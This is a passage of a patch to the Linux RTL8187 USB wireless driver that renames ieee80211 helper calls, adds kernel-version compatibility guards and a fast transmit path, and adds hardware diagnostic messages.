no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1209,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1224,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1239,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1248,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1256,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1304,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1323,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1381,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1392,20 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1417,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1430,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1443,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1485,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1502,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1601,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1612,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1633,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1660,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1687,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1728,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1775,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1835,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1883,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1892,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1975,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2010,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2039,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2129,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2195,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2218,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2232,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2276,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2415,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2433,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 